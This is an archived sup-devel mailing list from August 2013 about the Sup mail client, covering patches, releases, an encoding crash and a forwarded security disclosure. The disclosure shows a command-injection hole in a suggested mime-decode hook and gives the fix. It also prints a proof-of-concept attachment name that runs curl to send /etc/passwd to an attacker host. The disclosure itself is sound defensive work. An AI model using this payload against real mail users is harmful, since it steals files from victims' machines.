community/pipermail-archives/sup-devel/2013-08.txt (18208B) - raw
1 From eg@gaute.vetsj.com Fri Aug 9 22:18:56 2013
2 From: eg@gaute.vetsj.com (Gaute Hope)
3 Date: Sat, 10 Aug 2013 00:18:56 +0200
4 Subject: [sup-devel] How do I force flush the log file in sup?
5 In-Reply-To: <CAHWBo_bM_WmaUUHbER+1V8=o_McxibJCCipnxKnepsviV8Rrhw@mail.gmail.com>
6 References: <CAHWBo_bM_WmaUUHbER+1V8=o_McxibJCCipnxKnepsviV8Rrhw@mail.gmail.com>
7 Message-ID: <52056AD0.1070807@gaute.vetsj.com>
8
9 On 30. juli 2013 15:18, Horacio Sanson wrote:
10 > Is there a way to force sup to flush the log file after each write? It is
11 > difficult to debug my gmail source as I cannot see real time what is going
12 > on. Maybe set sup to always flush when SUP_LOG_LEVEL is set to debug?
13
14 See below, you can add an check for log level as well if you want.
15
16 - gaute
17
18 diff --git a/lib/sup/logger.rb b/lib/sup/logger.rb
19 index 7dd296a..283dfdb 100644
20 --- a/lib/sup/logger.rb
21 +++ b/lib/sup/logger.rb
22 @@ -60,7 +60,10 @@ private
23 ## actually distribute the message
24 def send_message m
25 @mutex.synchronize do
26 - @sinks.each { |sink| sink << m }
27 + @sinks.each do |sink|
28 + sink << m
29 + sink.flush if sink.respond_to? :flush
30 + end
31 @buf << m
32 end
33 end
34
35 From eg@gaute.vetsj.com Thu Aug 15 08:33:23 2013
36 From: eg@gaute.vetsj.com (Gaute Hope)
37 Date: Thu, 15 Aug 2013 10:33:23 +0200
38 Subject: [sup-devel] Sup Release 0.14.0
39 Message-ID: <1376554850-sup-6592@qwerzila>
40
41 Greetings,
42
43 I have just release Sup 0.14.0 which contains a lot of updates. Check
44 out the Release Notes below for more details.
45
46 Important:
47 - This release does no longer work on Ruby 1.8.
48 - Configuration files must be migrated from Sup 0.13 [1].
49 - Read the migration notice [1].
50
51 If you are not feeling very adventurous, stay with Sup 0.13 for a little
52 while yet. Remember to back up your current ~/.sup before upgrading in
53 case you need to downgrade.
54
55 Happy sup! Thanks to all the contributors and testers!
56
57 Check the wiki for installation instructions [2] or just do a:
58
59 $ gem install sup
60
61 Report issues to our tracker at GitHub [3].
62
63
64 Cheers, Gaute
65
66 [1] https://github.com/sup-heliotrope/sup/wiki/Migration-0.13-to-0.14
67 [2] https://github.com/sup-heliotrope/sup/wiki/
68 [3] https://github.com/sup-heliotrope/sup/issues
69
70
71 == Release Notes ==
72 CJK-compatability, Psych usage, thread safety, GPGME 2.0 support. Sup is now
73 Ruby 1.9 based, and apart from RMail - ready for Ruby 2.0.0.
74
75 Sup now uses Psych as a YAML parser (default by Ruby) and your previous
76 configuration files (~/.sup/*.yaml) may need to be migrated or re-created for
77 them to work with the new sup. A migration script is included for this.
78
79 Check https://github.com/sup-heliotrope/sup/wiki/Migration-0.13-to-0.14 for
80 the latest instructions.
81
82 First back up your ~/.sup directory and index, after installing the new sup
83 run:
84
85 $ sup-psych-ify-config-files
86
87 to migrate your files. You should now be all set for buisness.
88
89
90
91 From eric.weikl@gmx.net Thu Aug 15 13:22:14 2013
92 From: eric.weikl@gmx.net (Eric Weikl)
93 Date: Thu, 15 Aug 2013 15:22:14 +0200
94 Subject: [sup-devel] Is maildir-sync ready for prime time?
95 In-Reply-To: <1366143381-sup-8459@mint>
96 References: <CAHsqw9sqBv-5zkdKhPcOwzi-qpe250U3ksHAvgwTENJ8EtozFA@mail.gmail.com>
97 <CAOxvSbfuBUYc7fTS=Ov2gBi6JtCkhmy8YVP3iUXwENnmLdzH3Q@mail.gmail.com>
98 <51692285.8000709@gaute.vetsj.com>
99 <CAHsqw9ue9AqTO4OxVDUzb-3u7GShxZRmjPDNzwJQVtsZi_3icw@mail.gmail.com>
100 <51695AF1.2070701@gaute.vetsj.com>
101 <CAHsqw9v46_d+n=XUeg76zmws+kjtit3SfQ59NZtTxMYrJ8F1Vg@mail.gmail.com>
102 <5169925C.1060701@gaute.vetsj.com>
103 <516997BD.7010409@gaute.vetsj.com> <1365938152-sup-6420@mint>
104 <516A9BA0.7040906@gaute.vetsj.com> <1366143381-sup-8459@mint>
105 Message-ID: <1376572537-sup-83@mint>
106
107 Hi fellow sup users,
108
109 the maildir-sync branch has been hanging around for quite a while. Since
110 sup 0.14.0 is out now, we could consider merging it into the developer
111 branch. I've been using the branch continuously and haven't encountered
112 any problems so far.
113
114 Has anyone else tried the branch, or is willing to do so? It would be
115 great to have some more opinions on it.
116
117 Gaute created a corresponding pull request here:
118 https://github.com/sup-heliotrope/sup/pull/126
119
120 Cheers,
121 Eric
122
123 On 04/16/2013 22:30:26, Eric Weikl wrote:
124 > Hi everyone,
125 >
126 > I created a new branch with all the commits from Damien Leone and
127 > Edward Yang related to maildir syncback and put it here:
128 >
129 > https://github.com/sup-heliotrope/sup/tree/maildir-sync
130 >
131 > I skipped some advanced stuff like Edward's inotify support for now. We
132 > can add that later.
133 >
134 > I performed some basic testing, but it would be great if some more
135 > people could give it a try. There's some documentation in the wiki:
136 >
137 > https://github.com/sup-heliotrope/sup/wiki/Maildir-Syncback
138 >
139 > Cheers,
140 > Eric
141
142 From gregor@hoffleit.de Thu Aug 15 16:21:43 2013
143 From: gregor@hoffleit.de (Gregor Hoffleit)
144 Date: Thu, 15 Aug 2013 18:21:43 +0200
145 Subject: [sup-devel] sup 0.14: Encoding::UndefinedConversionError from
146 thread: load threads for thread-index-mode
147 Message-ID: <1376582732-sup-7192@sam.mediasupervision.de>
148
149 Sup 0.14 fails for me just after the start with the following exception:
150
151 --- Encoding::UndefinedConversionError from thread: load threads for thread-index-mode
152 "\xE2" from ASCII-8BIT to UTF-8
153 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/util.rb:259:in `width'
154 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/util.rb:259:in `display_length'
155 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:226:in `block in draw_line_from_array'
156 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:224:in `each'
157 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:224:in `each_with_index'
158 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:224:in `draw_line_from_array'
159 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:199:in `draw_line'
160 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/line_cursor_mode.rb:52:in `draw_line'
161 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:46:in `block in draw'
162 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:46:in `each'
163 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/scroll_mode.rb:46:in `draw'
164 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/line_cursor_mode.rb:37:in `draw'
165 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/buffer.rb:118:in `draw'
166 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/buffer.rb:102:in `redraw'
167 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/buffer.rb:335:in `draw_screen'
168 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/buffer.rb:766:in `clear'
169 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/util.rb:639:in `method_missing'
170 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/thread_index_mode.rb:667:in `load_n_threads'
171 (eval):12:in `load_n_threads'
172 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/modes/thread_index_mode.rb:638:in `block in load_n_threads_background'
173 /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup.rb:85:in `block in reporting_thread'
174
175
176 I noticed that this exception looks similar to a report from 2011:
177
178 * Horacio Sanson's message of Mo Apr 25 04:25:04 +0200 2011:
179 > Any attempt to add a label with Japanese characters crashes the application.
180 > Seems this is a common problem to all Ruby 1.9 applications. I can see Rails
181 > had or has a lot of problems with this:
182 >
183 > http://yehudakatz.com/2010/05/05/ruby-1-9-encodings-a-primer-and-the-solution-for-rails/
184 >
185 > https://rails.lighthouseapp.com/projects/8994/tickets/4683-ascii-8bit-and-utf-8-in-hell
186 >
187 >
188 > The backtrace I get follows:
189 >
190 > /var/lib/gems/1.9.1/gems/console-0.3/lib/console/string.rb:27:in
191 > `display_width': "\xE3" from ASCII-8BIT to UTF-8
192 > (Encoding::UndefinedConversionError)
193 > from /var/lib/gems/1.9.1/gems/console-0.3/lib/console/string.rb:27:in
194 > `display_width'
195 > from /home/ryujin/Apps/turnsole/lib/turnsole/textfield.rb:129:in
196 > `handle_input'
197 > from /home/ryujin/Apps/turnsole/lib/turnsole/input.rb:108:in `ask'
198 > from /home/ryujin/Apps/turnsole/lib/turnsole/input.rb:141:in
199 > `ask_many_with_completions'
200 > from /home/ryujin/Apps/turnsole/lib/turnsole/input.rb:198:in
201 > `ask_for_labels'
202 > from /home/ryujin/Apps/turnsole/lib/turnsole/modes/thread-index-
203 > mode.rb:585:in `block in edit_labels'
204 > from /home/ryujin/Apps/turnsole/lib/turnsole/input.rb:42:in `asking'
205 > from /home/ryujin/Apps/turnsole/lib/turnsole/modes/thread-index-
206 > mode.rb:584:in `edit_labels'
207 > from /home/ryujin/Apps/turnsole/lib/turnsole/input.rb:92:in `handle'
208 > from /home/ryujin/Apps/turnsole/lib/turnsole/ui.rb:73:in `step'
209 > from bin/turnsole:134:in `<main>'
210
211
212 to which William responded:
213
214 > Thanks for the bug report. This is a bit tricky. The problem is
215 > actually that ncurses is giving me the characters one byte at a time.
216 > I'll see what I can do to fix this.
217
218
219 Do you need any more information to debug this problem?
220
221 I'm using Ruby 1.9.3p194 on Debian 7.1. I installed Sup 0.14 with
222 "gem1.9.1 install sup", which pulled in the following dependencies:
223
224 # gem1.9.1 list --local
225
226 *** LOCAL GEMS ***
227
228 chronic (0.9.1)
229 highline (1.6.19)
230 locale (2.0.8)
231 lockfile (2.1.0)
232 mime-types (1.24)
233 ncursesw-sup (1.3.1.3)
234 rmail (1.0.0)
235 sup (0.14.0)
236 trollop (2.0)
237 unicode (0.4.4)
238 xapian-ruby (1.2.15.1)
239
240
241
242 Regards,
243 Gregor Hoffleit
244
245 From eg@gaute.vetsj.com Thu Aug 15 16:39:45 2013
246 From: eg@gaute.vetsj.com (Gaute Hope)
247 Date: Thu, 15 Aug 2013 18:39:45 +0200
248 Subject: [sup-devel] sup 0.14: Encoding::UndefinedConversionError from
249 thread: load threads for thread-index-mode
250 In-Reply-To: <1376582732-sup-7192@sam.mediasupervision.de>
251 References: <1376582732-sup-7192@sam.mediasupervision.de>
252 Message-ID: <1376584400-sup-6242@qwerzila>
253
254 Excerpts from Gregor Hoffleit's message of 2013-08-15 18:21:43 +0200:
255 > Sup 0.14 fails for me just after the start with the following exception:
256 >
257 > --- Encoding::UndefinedConversionError from thread: load threads for thread-index-mode
258 > "\xE2" from ASCII-8BIT to UTF-8
259 > /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/util.rb:259:in `width'
260 > /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/util.rb:259:in `display_length'
261
262 Hi Gregor,
263
264 did you have a lot of messages in your index added by Sup 0.13 or
265 earlier? Do you get the same error if you move the old xapian folder out
266 of the way and try to re-index your messages?
267
268 It is possible to restore labels using sup-dump and sup-sync --restore.
269
270 Otherwise, I used to hackishly fix this error when it occured at some
271 other point by doing the following fix:
272
273 diff --git a/lib/sup/util.rb b/lib/sup/util.rb
274 index 5cff6fa..4579a38 100644
275 --- a/lib/sup/util.rb
276 +++ b/lib/sup/util.rb
277 @@ -256,7 +256,7 @@ end
278
279 class String
280 def display_length
281 - @display_length ||= Unicode.width(self, false)
282 + @display_length ||= Unicode.width(self.fix_encoding, false)
283 end
284
285 def slice_by_display_length len
286
287 The problem is that the string which is being formatted (or sought the
288 width of) is of some sort of encoding (probably already UTF-8), but Ruby
289 or NCurses or RMail or whatever has lost the encoding, and although the
290 bytes are encoded they are treated as binary (ASCII-8BIT). There is
291 generally no way to figure out what the original encoding was, but we
292 can guess that it is UTF-8 and fix it.
293
294 Regards, Gaute
295
296
297 From eg@gaute.vetsj.com Thu Aug 15 16:49:55 2013
298 From: eg@gaute.vetsj.com (Gaute Hope)
299 Date: Thu, 15 Aug 2013 18:49:55 +0200
300 Subject: [sup-devel] sup 0.14: Encoding::UndefinedConversionError from
301 thread: load threads for thread-index-mode
302 In-Reply-To: <1376584400-sup-6242@qwerzila>
303 References: <1376582732-sup-7192@sam.mediasupervision.de>
304 <1376584400-sup-6242@qwerzila>
305 Message-ID: <1376585317-sup-1707@qwerzila>
306
307 Excerpts from Gaute Hope's message of 2013-08-15 18:39:45 +0200:
308 > Excerpts from Gregor Hoffleit's message of 2013-08-15 18:21:43 +0200:
309 > > Sup 0.14 fails for me just after the start with the following exception:
310 > >
311 > > --- Encoding::UndefinedConversionError from thread: load threads for thread-index-mode
312 > > "\xE2" from ASCII-8BIT to UTF-8
313 > > /var/lib/gems/1.9.1/gems/sup-0.14.0/lib/sup/util.rb:259:in `width'
314 > diff --git a/lib/sup/util.rb b/lib/sup/util.rb
315 > index 5cff6fa..4579a38 100644
316 > --- a/lib/sup/util.rb
317 > +++ b/lib/sup/util.rb
318 > @@ -256,7 +256,7 @@ end
319 >
320 > class String
321 > def display_length
322 > - @display_length ||= Unicode.width(self, false)
323 > + @display_length ||= Unicode.width(self.fix_encoding, false)
324 > end
325 >
326 > def slice_by_display_length len
327
328 Created pull request #128, please test if you have the chance.
329
330 https://github.com/sup-heliotrope/sup/pull/128
331
332 Regards, Gaute
333
334
335 From gregor@hoffleit.de Fri Aug 16 13:13:10 2013
336 From: gregor@hoffleit.de (Gregor Hoffleit)
337 Date: Fri, 16 Aug 2013 15:13:10 +0200
338 Subject: [sup-devel] sup 0.14: Encoding::UndefinedConversionError from
339 thread: load threads for thread-index-mode
340 In-Reply-To: <1376585317-sup-1707@qwerzila>
341 References: <1376582732-sup-7192@sam.mediasupervision.de>
342 <1376584400-sup-6242@qwerzila> <1376585317-sup-1707@qwerzila>
343 Message-ID: <1376658731-sup-3523@sam.mediasupervision.de>
344
345 * Gaute Hope <eg at gaute.vetsj.com> [2013-08-15 18:49:55 +0200]
346 > Created pull request #128, please test if you have the chance.
347 >
348 > https://github.com/sup-heliotrope/sup/pull/128
349
350 Yep, with this workaround, the crash no longer happens.
351
352 Gregor
353
354 From gregor@hoffleit.de Fri Aug 16 15:15:17 2013
355 From: gregor@hoffleit.de (Gregor Hoffleit)
356 Date: Fri, 16 Aug 2013 17:15:17 +0200
357 Subject: [sup-devel] sup 0.14: Encoding::UndefinedConversionError from
358 thread: load threads for thread-index-mode
359 In-Reply-To: <1376584400-sup-6242@qwerzila>
360 References: <1376582732-sup-7192@sam.mediasupervision.de>
361 <1376584400-sup-6242@qwerzila>
362 Message-ID: <1376658893-sup-8054@sam.mediasupervision.de>
363
364 * Gaute Hope <eg at gaute.vetsj.com> [2013-08-15 18:39:45 +0200]
365 > did you have a lot of messages in your index added by Sup 0.13 or
366 > earlier? Do you get the same error if you move the old xapian folder out
367 > of the way and try to re-index your messages?
368 >
369 > It is possible to restore labels using sup-dump and sup-sync --restore.
370
371 Thanks for this explanation.
372
373 Yes, I was running with an index created with Sup < 0.13, and it's
374 pretty clear to me now that this was the cause of this crash.
375
376 Well, I moved away the old xapian folder and called sup-sync --restore,
377 but this crashed after ten minutes and 10.000 messages (of 500.000).
378
379 I just filled an issue #131 to github about this crash.
380
381 Gregor
382
383 From eg@gaute.vetsj.com Sun Aug 18 18:14:38 2013
384 From: eg@gaute.vetsj.com (Gaute Hope)
385 Date: Sun, 18 Aug 2013 20:14:38 +0200
386 Subject: [sup-devel] Fwd: Security issue with suggested configuration of sup
387 Message-ID: <1376849419-sup-8191@qwerzila>
388
389 Greetings suppers,
390
391 joernchen has pointed out to me that our suggested hook for viewing html
392 attachment has a serious security issue. The updated suggestion in [0] (wiki)
393 should be safer.
394
395
396 Please make sure that you update your mime-decode hook!
397
398
399 Best regards, Gaute
400
401
402
403 [0] https://github.com/sup-heliotrope/sup/wiki/Viewing-Attachments
404
405
406
407 --- Begin forwarded message from joernchen ---
408 From: joernchen <...>
409 To: eg <eg at gaute.vetsj.com>
410 Date: Sat, 17 Aug 2013 14:14:29 +0200
411 Subject: Security issue with suggested configuration of sup
412
413 [...]
414
415 At [0] the suggested configuration for viewing HTML attachments with
416 sup using the mime-decode hook is given as follows:
417
418 unless sibling_types.member? "text/plain"
419 case content_type
420 when "text/html"
421 `/usr/bin/w3m -dump -T #{content_type} '#{filename}'`
422 end
423 end
424
425 This piece of code however is prone to command injection via the file
426 name of the attached file. The command injection triggers upon sup
427 indexing the mail, so no user interaction is needed.
428
429 A better approach would be the following:
430
431 require 'shellwords'
432 unless sibling_types.member? "text/plain"
433 case content_type
434 when "text/html"
435 `/usr/bin/w3m -dump -T #{content_type} #{Shellwords.escape filename}`
436 end
437 end
438
439 [...]
440
441 A simple PoC would be sending an email with a file attachment named
442 like:
443
444 '$(cd .. && cd .. && cd .. && cd .. && cd etc && curl --data @passwd attacker.org)'.html
445
446 to a sup user making use of the suggested decode hook.
447
448 [0] https://github.com/sup-heliotrope/sup/wiki/Viewing-Attachments
449
450 [...]
451
452 From eg@gaute.vetsj.com Thu Aug 22 12:35:28 2013
453 From: eg@gaute.vetsj.com (Gaute Hope)
454 Date: Thu, 22 Aug 2013 14:35:28 +0200
455 Subject: [sup-devel] Gmail source sync back.
456 In-Reply-To: <51F6CA0B.7090406@gaute.vetsj.com>
457 References: <CAHWBo_bRwKArh7nLQ8EMWdWvBV_kRGT=NqDU=Z69pTY+fNpMUQ@mail.gmail.com>
458 <51F6CA0B.7090406@gaute.vetsj.com>
459 Message-ID: <52160590.4040502@gaute.vetsj.com>
460
461 On 03. juli 2013 11:44, Horacio Sanson wrote:
462
463 Hi,
464
465 You should use the :update flag like the maildir-sync branch does for
466 messages that have changed, that way it is easier to determine whether
467 the UpdateManager should emit a signal (even if the message already exists).
468
469 Cheers, Gaute
470
471
472 From eg@gaute.vetsj.com Sat Aug 31 16:27:03 2013
473 From: eg@gaute.vetsj.com (Gaute Hope)
474 Date: Sat, 31 Aug 2013 18:27:03 +0200
475 Subject: [sup-devel] Release 0.14.1
476 Message-ID: <1377965598-sup-8230@qwerzila>
477
478 Hi all,
479
480 Release 0.14.1 is out. This is a service release to 0.14.0 + one
481 small feature, a pre-defined 'All mail' search.
482
483 Important: If you are upgrading from a Sup version previous 0.14.0
484 please read the migration instructions in the wiki [0].
485
486 Installation instructions for various platforms are also described in
487 the wiki [1].
488
489 Please report any issues you encounter to our GitHub issue tracker [2].
490
491
492 We hope to get maildir-syncback (which Eric Weikl is maintaining) merged
493 in for the next release 0.14.2, call out if you have tested or run the
494 maildir-syncback branch. We would very much appreciate your experineces
495 (good ones! or bad ones!), the tracking issue is here:
496
497 https://github.com/sup-heliotrope/sup/pull/126
498
499 Thanks to those that have already reported their experiences, as well as
500 all the contributors to sup (code [3], issues, maintenance and
501 support!).
502
503
504
505 Cheers, Gaute
506
507
508 [0] https://github.com/sup-heliotrope/sup/wiki/Migration-0.13-to-0.14
509 [1] https://github.com/sup-heliotrope/sup/wiki
510 [2] https://github.com/sup-heliotrope/sup/issues
511 [3] https://github.com/sup-heliotrope/sup/blob/release-0.14.1/CONTRIBUTORS
512
513